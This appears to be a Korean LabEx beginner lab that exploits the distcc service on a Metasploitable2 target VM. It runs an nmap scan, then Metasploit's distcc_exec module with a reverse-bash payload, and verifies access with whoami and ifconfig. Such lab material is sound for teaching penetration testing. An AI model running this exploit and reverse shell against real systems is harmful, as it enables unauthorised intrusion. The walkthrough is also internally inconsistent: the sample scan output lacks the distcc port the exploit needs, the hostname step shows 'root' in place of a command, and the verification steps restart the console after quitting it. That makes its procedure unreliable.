Nmap 을 이용한 Metasploitable2 침투 테스트 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 Kali 터미널을 사용하여 LabEx 에서 제공하는 Metasploitable2 대상 머신에 대한 침투 테스트를 수행합니다. Distcc 서비스 공격의 원리와 프로세스를 이해하는 데 중점을 둡니다. 랩이 끝나면 권장 자료와 숙제가 제공됩니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 89%입니다.학습자들로부터 89%의 긍정적인 리뷰율을 받았습니다.

랩 환경 시작

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 으로 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.

침투 테스트 수행

Distcc 서비스 취약점 원리:

Distcc 는 네트워크 서버에서 대규모 코드베이스의 분산 컴파일에 사용됩니다. 그러나 잘못 구성된 경우 명령 실행에 악용될 수 있습니다. 이 취약점은 서버 포트에 대한 접근 제한이 없기 때문에 XCode 1.5 및 기타 Distcc 2.x 버전에서 나타납니다.

간단히 말해, 이 서비스는 포트 및 실행된 작업에 대한 적절한 검사를 수행하지 않아 공격자가 분산 컴파일 작업을 활용하여 자체 명령을 실행할 수 있도록 합니다.

취약점 인덱스:

취약점 공격 모듈 코드:

먼저, msfconsole 을 시작하여 작업 인터페이스에 들어갑니다.

cd ~
msfconsole

Nmap 스캔 도구를 사용하여 대상 호스트에서 열린 포트를 스캔합니다.

nmap -sV -T4 192.168.122.102

다음은 표시될 수 있는 출력의 예입니다.

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

스캔 결과를 기반으로 공격하려는 포트 서비스에 해당하는 모듈을 검색합니다.

search distcc

Kali MSF 터미널에서 use 명령을 사용하여 적절한 모듈을 선택합니다.

use exploit/unix/misc/distcc_exec

그런 다음 show options 명령을 사용하여 모듈 매개변수를 표시합니다.

show options

다음은 표시될 수 있는 출력의 예입니다.

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

대상 호스트 매개변수 RHOST 를 192.168.122.102 로 설정합니다.

set RHOST 192.168.122.102

모든 설정이 완료되면 exploit 명령을 사용하여 호스트를 공격합니다.

exploit

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

침투 성공 확인

침투가 성공했는지 확인하려면 whoami, hostname, ifconfig (IP 주소 확인용) 명령을 사용합니다.

우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.

cd ~
msfconsole

현재 사용자를 확인합니다.

whoami

호스트 이름을 확인합니다.

root

침해된 호스트의 IP 주소를 확인합니다.

ifconfig

호스트 이름과 IP 주소가 대상 머신 (192.168.122.102) 과 일치하면 침투 테스트가 성공했음을 나타냅니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 Distcc 서비스 공격의 원리와 프로세스에 대해 배웠습니다. Nmap 침투 스캔, Metasploit 을 사용하여 Distcc 취약점을 악용하고 성공적인 침투를 확인하는 실습 경험을 얻었습니다. 이 랩은 취약점 분석 및 악용 기술에 대한 실질적인 이해를 제공했습니다.